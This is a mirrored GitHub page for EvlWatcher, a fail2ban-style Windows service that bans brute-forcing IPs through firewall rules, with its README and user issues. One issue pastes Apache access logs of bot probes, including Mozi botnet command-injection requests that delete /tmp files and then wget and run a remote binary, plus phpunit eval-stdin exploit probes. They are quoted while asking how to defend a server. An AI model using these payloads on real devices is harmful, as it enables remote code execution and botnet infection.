GithubHelp home page GithubHelp logo

devnulli / evlwatcher Goto Github PK

View Code? Open in Web Editor NEW
347.0 24.0 43.0 3.59 MB

a "fail2ban" style modular log file analyzer for windows

License: MIT License

C# 96.86% NSIS 3.14%
fail2ban windows logfile-analysis

evlwatcher's Introduction

What's EvlWatcher?

It's basically a fail2ban for windows. Its goals are also mainly what we love about fail2ban:

  • pre-configured
  • no-initial-fucking-around-with-scripts-or-config-files
  • install-and-forget

You can download it here ( v2.1.61 - May 2024 ) .

Also, we love issues!

If anyone needs something or has questions about something, please feel free to open an issue. We are especially happy to get issues about log-entry samples we don't react on, or ideas of how we can support more protocols.

A bit more detailed description of what EvlWatcher does.

Scenario: there are those bad people out there, hammering your service (RDP and whatnot) with brute force attempts.

  • You can see them and their IPs clearly in the Windows Event-Log.
  • You have searched the web and yea, there are plenty of tools, scripts, and all that, to read the event-log and automatically ban the attackers IP.
  • You however, are lazy. You need something like fail2ban, with a preconfigured set of rules to just RUN right away and it works.
  • But then, it still needs enough flexibility for you to completely configure it, should you wish to do so.

EvlWatcher does that. It scans the Windows-Event-Log, and reacts.

It works by installing a service that scans the event log for unsuccessful login attempts. When one of its rules are violated (e.g. trying to log in without correct credentials, more than 5 times in 2 minutes), it will place that poor bastard into a generic firewall rule, and thereby ban the attacker for 2 hours.

Also, when someone is repeatedly trying, there is a permanent ban list for that, where people defaultly land on when they've had three strikes.

You can, of course, adjust the rules to your liking. They are basically a consisting of an event source, and a Regex to extract an IP, its pretty simple.

Installation

Run the setup executable. It is not required that you remove previous versions of EvlWatcher, the installer will take care of that.

Silent installation

By the way, when you run the setup executable with the /S parameter, it will install silently (e.g. no UI). This can be used for remote or mass roll-outs of EvlWatcher, i.e via group policy.

After you have installed EvlWatcher

You now have 2 things installed,

  • a Windows Service that will immediately start running (called EvlWatcher) with its default configuration file
  • a management Console (in the binary directory)

The Service

You can see it in your Services as "EvlWatcher". It is set to local system and auto start - meaning it cannot communicate over the network and will always run.

The service makes a firewall rule called EvlWatcher. And updates it every 30 seconds, based on your event log. Simple as that. Just one thing: Its normal when the rule is disabled. When there are no IPs banned, its automatically disabled. Dont worry, EvlWatcher will enable it as soon as there is the first ban victim.

The Configuration

You can see it as config.xml in the binary directory. It's made to cover all sorts of brute force attacks out of the box, but can also be expanded. Just take a look inside, if you want.

The Console (EvlWatcherConsole.exe).

You can use the console to see how your service is doing. The console can be found in the start menu, or in the installation folder.

The service keeps running, no matter if you have the console open or closed..

There are several tabs in the console.

Overview Tab

Shows you which IPS are currently banned or whitelisted

image

Live Tab

Shows you what the service is doing and what it is currently thinking about.

image

Global Settings Tab

image

Rule Tester Tab

When you find something you want automatically banned, you can use this tab to help you compose a rule for it. You copy your Windows Event-Log XML here and try to find a Regex for it. When you hit the "test button", and an IP can be extracted, you've found a new rule.

Once you did that, you can either build a new ban task in your config, or post an issue here, so we add it to the config globally.

Note: When you copy past regex into a xml, you must escape brackets with < and >

image

Community

If you want to support EvlWatcher practically

  • Please feel free to contribute
  • We always need good devs and testers to support us.
  • Please, if you have an MSSQL Server or FTP or whatever open to the webs, help up to also cover that with EvlWatcher, by providing us Events.

Gitter

If you want to support EvlWatcher monetarily

EvlWatcher doesnt have a lot of expenses, except the initial cost of code-signing, which were already covered by donations, and about 25€ / year for keeping up the certificate. Therefore, we don't really need much monetary support.

But if you want to say thanks, I would be happy if you would buy me a coffee or a beer here:

Buy Me a Coffee at ko-fi.com

Or you could just donate to your favorite charity.

Apart from that, EvlWatcher is, and will always be, completely free.

Cya..

Mike

evlwatcher's People

Contributors

devnulli avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

evlwatcher's Issues

Windows 2008 R2 missing event log

In this ancient operating system EvlWatcher throws an error every 30 seconds in Live tab, trying to look for a non existing event log:

12/04/2021 13:08:01 - [Error]: Event Log Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational was not found, tasks that require these events will not work

Seems that Windows 2008 R2 needs another ruleset to work properly.

Feature: Remove IP from temporary banned list

currently if an IP is on the temporarily banned list it can be transferred to permanently banned list and white-listed IP list only. In a world on dynamic IP addresses this is unfortunate. If the temporarily banned IP list includes a false positive this IP needs to be permanently whitelisted where the admin probably wants to just remove it from the temporarily banned IP list instead.

Therefore it would be great to have an additional button underneath the "temporarily banned IPs" list to just remove the selected IP(s) from it.

Dark Mode and NS Lookup feature requests

Really a good sofware, my RDP's was constantly brute-forced by random IP's and often i couldn't login to them.
I have some improvement/feature requests.

  • Local ip list backup/sync with software updates/reinstall [ Urgent] EDIT: was moved to own issue
  • Dark mode
  • IP whois/region info either by third party or implemented inside app

Thanks @shimuldn for suggestion to use this.

RD Gateway support

Hi!

After researching an issue with a RDS envoirment, i came across your application. It looks awesome, simple and to the point. I Do have a question on implememting it though; how does a setup with a RD Gateway work? is EvlWatcher installed on the central RD gateway? or on each RDS host within the farm?

Kind Regards.

New Console App

Any chance on a new console app when you finish the rewrite?

Change image options in console?

Thanks for all your hard work on this project. I love it! Except one thing.

Maybe it's just me, but when I open the console, it feels like I'm being flipped off. I know it's meant for the hackers, but could we add an option to customize the background images? Or even just replace the image with a cross-out symbol like this:
https://upload.wikimedia.org/wikipedia/commons/thumb/3/31/ProhibitionSign2.svg/1200px-ProhibitionSign2.svg.png

I also don't want to have to look over my shoulder to see if my kids are watching when I open the console.
Thanks in advance.

Would it be possible to add Apache logs to EvlWatcher?

Hello,

I've just setup a WAMP server (https://www.uniformserver.com/) on my Windows 10 computer and was wondering if EvlWatcher could help me secure it. I would like to add Apache logs to EvlWatcher (which are located at «D:\Logiciels\UniServerZ\core\apache2\logs\access.log»).

What bothers me are the following lines that are probably executed by bots looking for vulnerabilities in web servers:

XXX.XXX.XXX.XXX - - [10/Mar/2021:23:43:11 -0500] "Gh0st\xad" 400 226
XXX.XXX.XXX.XXX - - [10/Mar/2021:23:43:15 -0500] "HELP" 400 226
XXX.XXX.XXX.XXX - - [10/Mar/2021:23:43:15 -0500] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n" 400 226
XXX.XXX.XXX.XXX - - [10/Mar/2021:23:43:17 -0500] "\x16\x03\x01" 400 226
XXX.XXX.XXX.XXX - - [11/Mar/2021:00:29:07 -0500] "GET /wp-login.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [11/Mar/2021:00:29:23 -0500] "GET /wordpress/wp-login.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [11/Mar/2021:00:29:35 -0500] "GET /blog/wp-login.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [11/Mar/2021:00:29:50 -0500] "GET /wp/wp-login.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [11/Mar/2021:00:45:05 -0500] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://XXX.XXX.XXX.XXX:47037/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 3167
XXX.XXX.XXX.XXX - - [11/Mar/2021:02:19:15 -0500] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 226
XXX.XXX.XXX.XXX - - [11/Mar/2021:03:43:56 -0500] "GET /a2billing/customer/templates/default/footer.tpl HTTP/1.1" 404 1183
XXX.XXX.XXX.XXX - - [11/Mar/2021:03:43:58 -0500] "\x16\x03\x01" 400 226
XXX.XXX.XXX.XXX - - [11/Mar/2021:04:08:37 -0500] "POST /boaform/admin/formLogin HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [11/Mar/2021:04:34:03 -0500] "GET /recordings/ HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [11/Mar/2021:05:18:43 -0500] "GET /vtigercrm/vtigerservice.php HTTP/1.1" 301 -XXX.XXX.XXX.XXX - - [11/Mar/2021:06:01:32 -0500] "GET /about.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:52 -0500] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:52 -0500] "POST /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:52 -0500] "POST /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:53 -0500] "POST /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:54 -0500] "POST /wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:54 -0500] "POST /wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -
XXX.XXX.XXX.XXX - - [12/Mar/2021:01:03:54 -0500] "POST /wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 -

etc.

Could EvlWatcher help with this?

Thank you very much for your time!

Add all temporary to permanent

I multi-select temp banned IPs and click the 'lock' for each IP to permanently ban it. It would be cool if:

  • When multi-selected, add all temporary IPs to permanent IPs at once (not having to click the lock for each selected IP), or
  • An "Add all" button to add all temporary IPs to the permanent list without selecting any.

Sometimes I have a lot of temp banned IPs and I want to bulk-add them all and get on with life. Thank you for the consideration.

Could you support custom IP reporting?

Could you even potentially support custom IP reporting? Possibly EvlWatcher could scan the local database for entries that have been added from other services, like WebAPI that has detection if IP is trying to brute it's way, it could add entries into the database table, then EvlWatcher could occasionally scan that table for increases in the count of the trouble IP and act on it?

By the way, I just found your solution. Sucks regarding the Windows Defender, I had to allow the setup program to get it installed and even just to allow the file to remain to do the MD5 scan on it. I'm hoping to test this more and send some money your way for your hard work. I always saw the Failed Audit entries in the event log for RDP and didn't know what to do, thought of writing my own, but look you did it! 👍

Originally posted by @snblackout in #36 (comment)

EvlWatcher needs more actions

Not only IP ban, also a Telegram-Notifier, maybe a email notifier, and so on.
Will be done by plugin principle, so anyone can add actions and rules

Update management

Future plan:
Auto-update the software or an option to check the update available, click to download and install or something similar for a better user experience.

Version 2.0 suddenly being flagged as severe "Trojan:MSIL/Masslogger.VN!MTB"

Hello,

It appears as of today Microsoft's Windows Defender is flagging the installer for version 2.0 as a severe trojan, specifically "Trojan:MSIL/Masslogger.VN!MTB".

image

As this is on a network share of my pooled software downloads I couldn't be sure if it's the installer specifically being pointed out or the actual application binary within.

Obviously I'd be quite sure there isn't a genuine risk here, particularly as both Jotti's scanner finds nothing and VirusTotal looks like detections are just machine learned, but you'll likely need to submit your binaries to Microsoft for closer inspection and delisting here: https://www.microsoft.com/en-us/wdsi/filesubmission

Not blocking properly.

Found many attacker IPs on the log but EW didn't block properly. Please take a look at the logs files Gitter.

Thank you for your hard work.

Tester

I have few 2019 servers and i can test.

Now using v1.4 and V2.0 alpha.
Alpha seems unstable.

Let me know how can I help.

4625 Event not Blocking

Spammers are trying to crack the password by doing Brute-force attack.
Screenshot 2020-11-04 at 4 38 08 PM

I can provide you logs if needed.
If you need a windows server for testing you may signup for GCP or any other cloud trial. If not in this case i may help you to get access.

Blocking needs to improve.

Originally posted by @shimuldn in #14 (comment)

Huge ram usage

EvlWatcher-v2.0 alpha Using too much ram after some days of 24/7 server running.

I see the server using the full ram around 6 GB. After a reboot, it goes back to normal. Happen on my 2 servers 2019.
On Task Manager I see Cached almost all the ram server had.

Screenshot

Love to help/test

Would love to help beta test, I can potentially provide a small test server for you as well.

As far as help coding, I am not the greatest when it comes to windows but once I have more free time (crazy time at work) I would be more then willing to give it a shot.

Expand DefaultLogger, ILogger and IEvlWatcherService for Output History

  • ILogger should get a SetConsoleHistoryMaxCount(int count), and a IList<ConsoleEntry> GetConsoleHistory(),

  • ConsoleEntry maybe being an Object with DateTime and String

  • 'DefaultLogger' should then implement that it keeps the last X entries saved, in a List that doesnt grow larger over time.

image

  • So that with GetConsoleHistory() you can get it back

  • Then, _logger should take the backlog size from the config
    image
    image

  • Finally, the IEvlWatcherService Interface needs a function to provide the last Output to te Console.

that would be the server side of what is needed, so that the console can display live what the service is doing at the momen

[v1.4] Using not standard port doesnt block

We are using a non-standard port for RDP. When we enter wrong passwords (+5) it doesn't ban us temporarily. Would something have to be configured for this case?

Enviroment: Windows 10 professional 1909 and windows 10 professional 2004. EvlWatcher version 1.4 in both.

Share your Patreon or other profile so we can support the project

I love EvlWatcher and been using it for several years at this point. Please, add a way so we can support the project. I'd recommend adding multiple ways.

  • Patreon (monthly subscription/support)
  • Paypal (for direct donation)
  • Bitcoin/other coin wallet addresses (for crypto)

There is a thing called "Open Collective" but I don't think it's the tool for this project.
Thank you for your hard work. Also, please add the old binaries somewhere.

A shortcut on Start Menu

Have to go to C:\Program Files (x86)\EvlWatcher to find the console app.
A shortcut on Startmenu also on Desktop will make this software user-friendly for normal users.

Adding on the Desktop can be optional.
It's a matter of 3 clicks adding the shortcut on Desktop for us but some users may struggle a little bit.

Again it's a less priority feature so take your time.

Thank you for making the Internet safe a little bit.
Thank you for your time.

High trigger count without ban.

I did notice going through, some have a very high trigger count. Looking at the console, that IP is not in the temp or perma banned. Interesting.

BlockRDPBrutersBySecurity4625: found 186.96.174.85, trigger count is 376

Originally posted by @snblackout in #44 (comment)

refactor

refactor to SOLID before we start

Reducing event log reporting from the service

@devnulli thanks again for your prompt replies and improvements.

On one of my servers I checked to see how many event logs were being created in 1 hour and it's about 3600, which is kind of a lot so if other applications on the server have issues, the service is pushing them down and out of view quickly.

I propose a better way for reporting. Potentially a button on the console that you can create an HTML report of the data the server has of IPs and saves it to a particular folder to open in a browser to look through.

Thoughts?

Screenshot

EvlWatcher Service has stopped working

I try on Windows Server 2016. A console shows this error before the application shown.

Unhandled Exception: System.ServiceModel.AddressAlreadyInUseException: Cannot listen on pipe name 'net.pipe://localhost/' because another pipe endpoint is already listening on that name. ---> System.IO.PipeException: Cannot listen on pipe name 'net.pipe://localhost/' because another pipe endpoint is already listening on that name.
   --- End of inner exception stack trace ---
   at System.ServiceModel.Channels.PipeConnectionListener.Listen()
   at System.ServiceModel.Channels.ExclusiveNamedPipeTransportManager.OnOpen()
   at System.ServiceModel.Channels.TransportManager.Open(TransportChannelListener channelListener)
   at System.ServiceModel.Channels.TransportManagerContainer.Open(SelectTransportManagersCallback selectTransportManagerCallback)
   at System.ServiceModel.Channels.TransportChannelListener.OnOpen(TimeSpan timeout)
   at System.ServiceModel.Channels.ConnectionOrientedTransportChannelListener.OnOpen(TimeSpan timeout)
   at System.ServiceModel.Channels.NamedPipeChannelListener`2.OnOpen(TimeSpan timeout)
   at System.ServiceModel.Channels.CommunicationObject.Open(TimeSpan timeout)
   at System.ServiceModel.Dispatcher.ChannelDispatcher.OnOpen(TimeSpan timeout)
   at System.ServiceModel.Channels.CommunicationObject.Open(TimeSpan timeout)
   at System.ServiceModel.ServiceHostBase.OnOpen(TimeSpan timeout)
   at System.ServiceModel.Channels.CommunicationObject.Open(TimeSpan timeout)
   at EvlWatcher.EvlWatcher.OnStart(String[] args)
   at EvlWatcher.EvlWatcher.Main(String[] args)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.